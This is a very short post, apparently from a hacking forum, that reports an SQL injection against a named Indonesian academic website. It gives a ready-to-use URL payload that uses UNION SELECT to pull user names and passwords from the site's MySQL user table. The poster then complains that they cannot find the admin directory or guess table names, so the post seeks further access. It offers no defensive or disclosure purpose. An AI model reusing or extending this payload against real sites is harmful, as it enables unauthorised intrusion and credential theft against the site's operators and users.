[SQLi] http://www.bsi.ac.id/

Exploit: http://www.bsi.ac.id/photo.php?album=3'+union+select+1,concat(user,char(58),password),3,4+from+mysql.user--%20and%20'a'='a

Problem: I can't find the phpmyadmin or any admin directory. Also, the tables name are so difficult to guess :[